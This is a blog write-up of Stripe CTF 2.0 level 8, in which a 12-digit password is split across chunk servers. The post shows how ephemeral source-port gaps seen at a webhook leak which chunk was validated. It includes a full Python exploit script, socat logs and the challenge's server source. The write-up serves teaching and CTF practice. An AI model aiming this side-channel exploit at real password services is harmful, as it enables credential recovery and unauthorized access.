Stripe CTF - level 8

Sunday, August 26, 2012 » ctf, luks, robbje, spq, stripe

This is level 8 of stripe ctf 2.0

Description

Because password theft has become such a rampant problem, a security firm has decided to create PasswordDB, a new and secure way of storing and validating passwords. You've recently learned that the Flag itself is protected in a PasswordDB instance, accesible at https://level08-1.stripe-ctf.com/user-qftkaxbofs/.

PasswordDB exposes a simple JSON API. You just POST a payload of the form {"password": "password-to-check", "webhooks": ["mysite.com:3000", ...]} to PasswordDB, which will respond with a {"success": true} or {"success": false} to you and your specified webhook endpoints.

For example, try running curl https://level08-1.stripe-ctf.com/user-qftkaxbofs/ -d '{"password": "password-to-check", "webhooks": []}'

In PasswordDB, the password is never stored in a single location or process, making it the bane of attackers' respective existences. Instead, the password is "chunked" across multiple processes, called "chunk servers". These may live on the same machine as the HTTP-accepting "primary server", or for added security may live on a different machine. PasswordDB comes with built-in security features such as timing attack prevention and protection against using unequitable amounts of CPU time (relative to other PasswordDB instances on the same machine).

Solution

This service validates a 12 digits long password by splitting it into four chunks and validating each chunk by sending it via a tcp connection to its corresponding chunk server. As soon as the primary server receives a negative validation result from one of the chunk servers, it stops validating the remaining chunks and sends {"success": false} back to the client and the submitted webhooks.

Local test setup

Starting the primary server with password 012345678901:

1
./password_db_launcher 012345678901 127.0.0.1:3000

Using socat as a simple webhook which listens on port 1024:

1
socat -d -d - TCP-LISTEN:1024,fork,reuseaddr

Example Usage

Sending password ------------ and webhook localhost:1024 to the primary server:

1
2
3
4
In [1]: import requests

In [2]: requests.post("http://localhost:3000", '{"password": "------------", "webhooks": ["localhost:1024"]}').text
Out[2]: u'{"success": false}\n'

Output of the socat webhook:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
socat[18068] N accepting connection from AF=2 127.0.0.1:54149 on AF=2 127.0.0.1:1024
socat[18068] N forked off child process 18071
socat[18068] N listening on AF=2 0.0.0.0:1024
socat[18071] N starting data transfer loop with FDs [0,1] and [4,4]
POST / HTTP/1.0
Host: 
User-Agent: PasswordChunker
Content-Length: 18
connection: close

{"success": false}

Finding the side-channel

While playing around with the local setup, i noticed that the source ports (as seen by the webhook) of the incoming connections by the primary server can be used as an indicator for the amount of connections that were opened by the primary server after a request is send.

To clarify the concept lets try sending four requests of which the first two submit an invalid first chunk, and the last two a valid one.

Two invalid chunks:

1
2
3
4
5
6
In [1]: import requests

In [2]: s = requests.session()

In [3]: for i in xrange(2):
    s.post("http://localhost:3000", '{"password": "------------", "webhooks": ["localhost:1024"]}')

This is the corresponding socat webhook output, showing the two incoming connections made by the primary server:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
socat[3114] N accepting connection from AF=2 127.0.0.1:55213 on AF=2 127.0.0.1:1024
socat[3114] N forked off child process 3148
socat[3114] N listening on AF=2 0.0.0.0:1024
socat[3148] N starting data transfer loop with FDs [0,1] and [4,4]
POST / HTTP/1.0
Host: 
User-Agent: PasswordChunker
Content-Length: 18
connection: close

{"success": false}
socat[3114] N accepting connection from AF=2 127.0.0.1:55215 on AF=2 127.0.0.1:1024
socat[3114] N forked off child process 3149
socat[3114] N listening on AF=2 0.0.0.0:1024
socat[3149] N starting data transfer loop with FDs [0,1] and [4,4]
POST / HTTP/1.0
Host: 
User-Agent: PasswordChunker
Content-Length: 18
connection: close

{"success": false}

We see that the source ports (55213, 55215) differ by 2, which means that between these two requests, two connections were established by the primary server (Linux increments ephemeral ports). The first connection is the one used to contact the first chunk server and the second one is used for the webhook.

Now lets try sending two requests, where the first chunk is valid:

1
2
3
[...]
In [4]: for i in xrange(2):
    s.post("http://localhost:3000", '{"password": "012---------", "webhooks": ["localhost:1024"]}')
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
socat[3114] N accepting connection from AF=2 127.0.0.1:55282 on AF=2 127.0.0.1:1024
socat[3114] N forked off child process 3267
socat[3114] N listening on AF=2 0.0.0.0:1024
socat[3267] N starting data transfer loop with FDs [0,1] and [4,4]
POST / HTTP/1.0
Host: 
User-Agent: PasswordChunker
Content-Length: 18
connection: close

{"success": false}
socat[3114] N accepting connection from AF=2 127.0.0.1:55285 on AF=2 127.0.0.1:1024
socat[3114] N forked off child process 3268
socat[3114] N listening on AF=2 0.0.0.0:1024
socat[3268] N starting data transfer loop with FDs [0,1] and [4,4]
POST / HTTP/1.0
Host: 
User-Agent: PasswordChunker
Content-Length: 18
connection: close

{"success": false}

Now the source ports (55282, 55285) differ by 3, which means that the first and the second chunk server were contacted by the primary server and therefore the first chunk must have been successfully validated by the first chunk server.

Exploit

To exploit this side channel in the noisy stripe ctf network one has to keep in mind, that a lot of false positives will be found due to connections made by other people to the primary server. The following exploit repeats requests for each found candidate until there is only one left. This is repeated until the last chunk is reached which is then bruteforced.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python

import sys
import socket
import requests
from Queue import Queue


def usage():
    print "%s <hostname> <endpoint>" % sys.argv[0]
    sys.exit(0)

def build_queue():
    queue = Queue()
    for i in xrange(1000):
        queue.put(i)
    return queue

class Webhook(object):
    def __init__(self):
        self.lastport = None
        self.s = socket.socket()
        self.chunkno = 0
        self.delta = 2
        self.port = None

    def listen(self):
        self.s.bind(("0.0.0.0", 0))
        self.s.listen(1)
        self.port = self.s.getsockname()[1]

    def handle(self):
        conn, addr = self.s.accept()
        if self.lastport is None:
            self.lastport = addr[1]
        else:
            diff = addr[1] - self.lastport
            self.lastport = None
            if diff > (self.delta + self.chunkno):
                return True
        return False

def main(hostname, endpoint):
    webhook = Webhook()
    webhook.listen()
    queue = build_queue()
    s = requests.session()
    chunks = [None, None, None, None]
    num_req = 2
    while True:
        chunks[webhook.chunkno] = queue.get()
        pw = "".join("%03d" % chunk if chunk is not None else "..."
            for chunk in chunks)
        for i in xrange(num_req):
            sys.stdout.write("\r%s" % pw)
            sys.stdout.flush()
            req = s.post(endpoint, data='{"password": "%s", "webhooks":'
                '["%s:%d"]}' % (pw, hostname, webhook.port))
            if webhook.chunkno < 3: # portdiff mode
                is_candidate = webhook.handle()
                if is_candidate:
                    queue.put(chunks[webhook.chunkno])
                    if queue.qsize() == 1:
                        webhook.chunkno += 1
                        if webhook.chunkno == 3:
                            num_req = 1 # only 1 http request for last chunk
                        queue = build_queue()
            else: # bruteforce mode (last chunk)
                if "true" in req.text:
                    print
                    sys.exit(0)

if __name__ == "__main__":
    if len(sys.argv) != 3:
        usage()
    main(sys.argv[1], sys.argv[2])

Code

password_db_launcher

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#!/usr/bin/env python
import atexit
import logging
import optparse
import os
import os.path
import random
import re
import signal
import socket
import subprocess
import sys
import time

import common

logger = logging.getLogger('password_db')
logger.addHandler(logging.StreamHandler(sys.stderr))

processes = []

def launch(script, *args):
    path = os.path.join(os.path.dirname(__file__), script)
    args = [path] + list(args)
    launched = subprocess.Popen(args)
    logger.info('Launched %r (pid %d)' % (args, launched.pid))
    processes.append(launched)
    return launched

def nukeChildren():
    logger.info('Killing all remaining children')
    for process in processes:
        try:
            os.kill(process.pid, signal.SIGTERM)
        except OSError:
            pass
        else:
            logger.info('Killed child %s' % process.pid)

def waitChildren():
    os.wait()

def passwordSpecToPassword(password_spec):
    if password_spec and password_spec[0] == '@':
        password_file = password_spec[1:]
        logger.info('Reading password from %s' % password_file)
        return open(password_file).read()
    else:
        return password_spec

def validatePassword(password):
    if not re.search('^\d{12}$', password):
        raise ValueError("Invalid password! The Flag is a 12-digit number.")

def socket_exists(host, port):
    logger.info('Checking whether %s:%s is reachable' % (host, port))
    try:
        socket.create_connection([host, port])
    except socket.error:
        return False
    else:
        return True

def find_open_port(base_port):
    while socket_exists('127.0.0.1', base_port):
        base_port += 1
    return base_port

def wait_until(condition, *args):
    for i in xrange(10):
        if condition(*args):
            return
        else:
            logger.info('Condition not yet true, waiting 0.35 seconds'
                        ' (try %s/%s)' % (i+1, 10))
            time.sleep(0.35)
    raise RuntimeError('Timed out waiting for condition')

def main():
    """
    Spins up a secure configuration of PasswordDB:

    - Uses 4 chunk servers
    - Validates that the Flag itself looks correct
    """

    usage = """%prog [-q ...] <password_spec> <primary_address>

primary_address should be of the form 'host:port' or 'unix:/path/to/socket'"""
    parser = optparse.OptionParser(usage)
    parser.add_option('-q', '--quiet', help='Quietness of debugging output.',
                      dest='quiet', action='count', default=0)
    opts, args = parser.parse_args()
    if not opts.quiet:
        logger.setLevel(logging.DEBUG)
    elif opts.quiet == 1:
        logger.setLevel(logging.INFO)
    elif opts.quiet >= 2:
        logger.setLevel(logging.WARN)

    if len(args) != 2:
        parser.print_usage()
        return 1

    password_spec = args[0]
    primary_host_spec = args[1]

    atexit.register(nukeChildren)

    password = passwordSpecToPassword(password_spec)
    validatePassword(password)

    chunk_count = 4
    chunks = common.chunkPassword(chunk_count, password)

    base_port = random.randint(1024, 20000)
    chunk_hosts = []
    for i in xrange(chunk_count):
        port = find_open_port(base_port)
        base_port = port + 1
        chunk_hosts.append(['127.0.0.1', port])

    for host_port, password_chunk in zip(chunk_hosts, chunks):
        host, port = host_port
        launch('chunk_server', '%s:%s' % (host, port), password_chunk)

    time.sleep(0.35)

    # Make sure everything is booted before starting the primary server
    for host_port in chunk_hosts:
        host, port = host_port
        wait_until(socket_exists, host, port)

    args = []
    args.append('-l')
    args.append('/tmp/primary.lock')
    for host, port in chunk_hosts:
        args.append('-c')
        args.append('%s:%s' % (host, port))
    args.append(primary_host_spec)
    launch('primary_server', *args)

    waitChildren()
    return 0

if __name__ == '__main__':
    sys.exit(main())

primary_server

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
#!/usr/bin/env python
import fcntl
import logging
import json
import optparse
import sys
import time
import traceback

from twisted.internet import reactor

# Local project
import common

logger = logging.getLogger('password_db')
logger.addHandler(logging.StreamHandler(sys.stderr))


class PrimaryProcessor(common.PayloadProcessor):
    def __init__(self, request, chunk_servers):
        super(PrimaryProcessor, self).__init__(request)
        self.chunk_servers = chunk_servers

    def process(self, data):
        Shield.registerLocker()

        password = self.getArg(data, 'password')
        webhooks = self.getArg(data, 'webhooks')

        self.start_time = time.time()

        self.remaining_chunk_servers = self.chunk_servers[:]
        self.remaining_chunks = self.chunkPassword(password)

        self.webhooks = [common.parseHost(webhook) for webhook in webhooks]

        self.checkNext()

    def checkNext(self):
        assert(len(self.remaining_chunks) == len(self.remaining_chunk_servers))

        if not self.remaining_chunk_servers:
            self.sendResult(True)
            return

        next_chunk_server = self.remaining_chunk_servers.pop(0)
        next_chunk = self.remaining_chunks.pop(0)

        self.log_info('Making request to chunk server %r'
                      ' (remaining chunk servers: %r)' %
                      (next_chunk_server, self.remaining_chunk_servers))

        common.makeRequest(next_chunk_server,
                           {'password_chunk' : next_chunk},
                           self.nextServerCallback,
                           self.nextServerErrback)

    def nextServerCallback(self, data):
        parsed_data = json.loads(data)
        # Chunk was wrong!
        if not parsed_data['success']:
            # Defend against timing attacks
            remaining_time = self.expectedRemainingTime()
            self.log_info('Going to wait %s seconds before responding' %
                          remaining_time)
            reactor.callLater(remaining_time, self.sendResult, False)
            return

        self.checkNext()

    def expectedRemainingTime(self):
        assert(len(self.chunk_servers) > len(self.remaining_chunk_servers))
        elapsed_time = time.time() - self.start_time
        ratio_remaining_to_elapsed = (len(self.remaining_chunk_servers) * 1.0
            / (len(self.chunk_servers) - len(self.remaining_chunk_servers)))
        return ratio_remaining_to_elapsed * elapsed_time

    def nextServerErrback(self, address_spec, error):
        backtrace = traceback.format_exc(error)
        self.log_error('Error while connecting to chunk server %r: %s (%r)' %
                       (address_spec, error, backtrace))
        self.respondWithMessage('Error! This should never happen in '
                                'production, but it seems that it did. Contact'
                                ' us at ctf@stripe.com to let us know.')

    def sendResult(self, success):
        result = {'success': success}
        self.respond(result)
        for webhook in self.webhooks:
            self.sendWebhook(webhook, result)

    def sendWebhook(self, webhook_host_spec, result):
        self.log_info('Sending webhook to %r: %s' %
                      (webhook_host_spec, result))
        common.makeRequest(webhook_host_spec, result, self.sendWebhookCallback,
                           self.sendWebhookErrback)

    def sendWebhookCallback(self, data):
        # Too late to do anything here
        pass

    def sendWebhookErrback(self, address_spec, error):
        backtrace = traceback.format_exc(error)
        self.log_error('Error while connecting to webhook server %r: %s (%r)' %
                       (address_spec, error, backtrace))

    def chunkPassword(self, password):
        return common.chunkPassword(len(self.chunk_servers), password, self)

class Shield(object):
    # Ensure equitable distribution of load among many PasswordDB
    # instances on a single server. (Typically servers come with many
    # PasswordDB instances.)
    @classmethod
    def registerLocker(self):
        if self.has_lock:
            return

        self.acquireLock()
        reactor.callLater(self.lock_period, self.releaseLock)

    @classmethod
    def acquireLock(self):
        logger.info('Acquiring lock')
        fcntl.flock(self.lockfile, fcntl.LOCK_EX)
        self.has_lock = True

    @classmethod
    def releaseLock(self):
        logger.info('Releasing lock')
        fcntl.flock(self.lockfile, fcntl.LOCK_UN)
        self.has_lock = False

    @classmethod
    def openLockfile(self, path):
        self.lock_period = 0.250
        self.has_lock = False
        self.lockfile = open(path, 'w')

def main():
    usage = """
%prog -c CHUNK_SERVER [-c CHUNK_SERVER ...] [-q ...] -l /path/to/lockfile PRIMARY_SERVER

CHUNK_SERVER:
    A chunk server to spin up as <chunk_host:chunk_port>

PRIMARY_SERVER:
    Either pass a host:port pair <primary_host:primary_port> or pass a
    unix:-prefixed path for it to listen on a UNIX socket
    <unix:/path/to/socket> (useful for running under FastCGI).
"""
    parser = optparse.OptionParser(usage)
    parser.add_option('-q', '--quiet', help='Quietness of debugging output.',
                      dest='quiet', action='count', default=0)
    parser.add_option('-c', '--chunk-servers',
                      help='Add a chunk server to spin up',
                      dest='chunk_servers', action='append', default=[])
    parser.add_option('-l', '--lock-file',
                      help='Path to lockfile',
                      dest='lockfile')
    opts, args = parser.parse_args()
    if not opts.quiet:
        logger.setLevel(logging.DEBUG)
    elif opts.quiet == 1:
        logger.setLevel(logging.INFO)
    elif opts.quiet >= 2:
        logger.setLevel(logging.WARN)

    if len(args) != 1:
        parser.print_usage()
        return 1

    if not opts.chunk_servers:
        parser.print_usage()
        return 1

    if not opts.lockfile:
        parser.print_usage()
        return 1

    Shield.openLockfile(opts.lockfile)

    chunk_servers = [common.parseHost(spec) for spec in opts.chunk_servers]

    server = common.HTTPServer(PrimaryProcessor, chunk_servers)

    spec = args[0]
    if common.isUnix(spec):
        path = common.parseUnix(spec)
        common.listenUNIX(path, server)
    else:
        address_spec = common.parseHost(args[0])
        common.listenTCP(address_spec, server)

    reactor.run()
    return 0

if __name__ == '__main__':
    sys.exit(main())

chunk_server

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python
import logging
import optparse
import sys

from twisted.internet import reactor

# Local project
import common

logger = logging.getLogger('password_db')
logger.addHandler(logging.StreamHandler(sys.stderr))

class ChunkProcessor(common.PayloadProcessor):
    def __init__(self, request, password_chunk):
        super(ChunkProcessor, self).__init__(request)
        self.password_chunk = password_chunk

    def process(self, data):
        chunk = self.getArg(data, 'password_chunk')
        success = chunk == self.password_chunk
        self.respond({
                'success' : success
                })

def main():
    usage = """%prog [-q ...] <host:port> <password_chunk>"""
    parser = optparse.OptionParser(usage)
    parser.add_option('-q', '--quiet', help='Quietness of debugging output.',
                      dest='quiet', action='count', default=0)
    opts, args = parser.parse_args()
    if not opts.quiet:
        logger.setLevel(logging.DEBUG)
    elif opts.quiet == 1:
        logger.setLevel(logging.INFO)
    elif opts.quiet >= 2:
        logger.setLevel(logging.WARN)

    if len(args) != 2:
        parser.print_usage()
        return 1

    address_spec = common.parseHost(args[0])
    password_chunk = args[1]

    server = common.HTTPServer(ChunkProcessor, password_chunk)
    common.listenTCP(address_spec, server)
    reactor.run()

    return 0

if __name__ == '__main__':
    sys.exit(main())

common.py

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
import atexit
import json
import logging
import os

from twisted.internet import reactor, protocol
from twisted.protocols import basic

from twisted.web import server, resource, client

logger = logging.getLogger('password_db.common')


class Halt(Exception):
    pass


class HTTPServer(object, resource.Resource):
    isLeaf = True

    def __init__(self, processor, args):
        self.processor = processor
        self.args = args

    def render_GET(self, request):
        return ('{"success": false, "message": "GET not supported.'
                ' Try POSTing instead."}\n')

    def render_POST(self, request):
        processor_instance = self.processor(request, self.args)
        processor_instance.processRaw()
        return server.NOT_DONE_YET

class PayloadProcessor(object):
    request_count = 0

    def __init__(self, request):
        PayloadProcessor.request_count += 1
        self.request_id = PayloadProcessor.request_count
        self.request = request

    def processRaw(self):
        raw_data = self.request.content.read()
        self.log_info('Received payload: %r', raw_data)

        try:
            parsed = json.loads(raw_data)
        except ValueError as e:
            self.respondWithMessage('Could not parse message: %s' % e)
            return

        try:
            self.process(parsed)
        except Halt:
            pass

    # API method
    def process(self, data):
        raise NotImplementedError

    # Utility methods
    def getArg(self, data, name):
        try:
            return data[name]
        except KeyError:
            self.respondWithMessage('Missing required param: %s' % name)
            raise Halt()

    def respondWithMessage(self, message):
        response = {
            'success' : False,
            'message' : message
            }
        self.respond(response)

    def respond(self, response):
        if self.request.notifyFinish():
            self.log_error("Request already finished!")
        formatted = json.dumps(response) + '\n'
        self.log_info('Responding with: %r', formatted)
        self.request.write(formatted)
        self.request.finish()

    def log_info(self, *args):
        self.log('info', *args)

    def log_error(self, *args):
        self.log('error', *args)

    def log(self, level, msg, *args):
        # Make this should actually be handled by a formatter.
        client = self.request.client
        try:
            host = client.host
            port = client.port
        except AttributeError:
            prefix = '[%r:%d] '  % (client, self.request_id)
        else:
            prefix = '[%s:%d:%d] '  % (host, port, self.request_id)
        method = getattr(logger, level)
        interpolated = msg % args
        method(prefix + interpolated)

def chunkPassword(chunk_count, password, request=None):
    # Equivalent to ceil(password_length / chunk_count)
    chunk_size = (len(password) + chunk_count - 1) / chunk_count

    chunks = []
    for i in xrange(0, len(password), chunk_size):
        chunks.append(password[i:i+chunk_size])

    while len(chunks) < chunk_count:
        chunks.append('')

    msg = 'Split length %d password into %d chunks of size about %d: %r'
    args = [len(password), chunk_count, chunk_size, chunks]
    if request:
        request.log_info(msg, *args)
    else:
        logger.info(msg, *args)

    return chunks

def isUnix(spec):
    return spec.startswith('unix:')

def parseHost(host):
    host, port = host.split(':')
    port = int(port)
    return host, port

def parseUnix(unix):
    path = unix[len('unix:'):]
    return path

def makeRequest(address_spec, data, callback, errback):
    # Change the signature of the errback
    def wrapper(error):
        errback(address_spec, error)

    host, port = address_spec
    factory = client.HTTPClientFactory('/',
                                       agent='PasswordChunker',
                                       method='POST',
                                       postdata=json.dumps(data))
    factory.deferred.addCallback(callback)
    factory.deferred.addErrback(wrapper)
    reactor.connectTCP(host, port, factory)

def listenTCP(address_spec, http_server):
    host, port = address_spec
    site = server.Site(http_server)
    reactor.listenTCP(port, site, 50, host)

def cleanupSocket(path):
    try:
        os.remove(path)
    except OSError:
        pass

def listenUNIX(path, http_server):
    site = server.Site(http_server)
    reactor.listenUNIX(path, site, 50)
    atexit.register(cleanupSocket, path)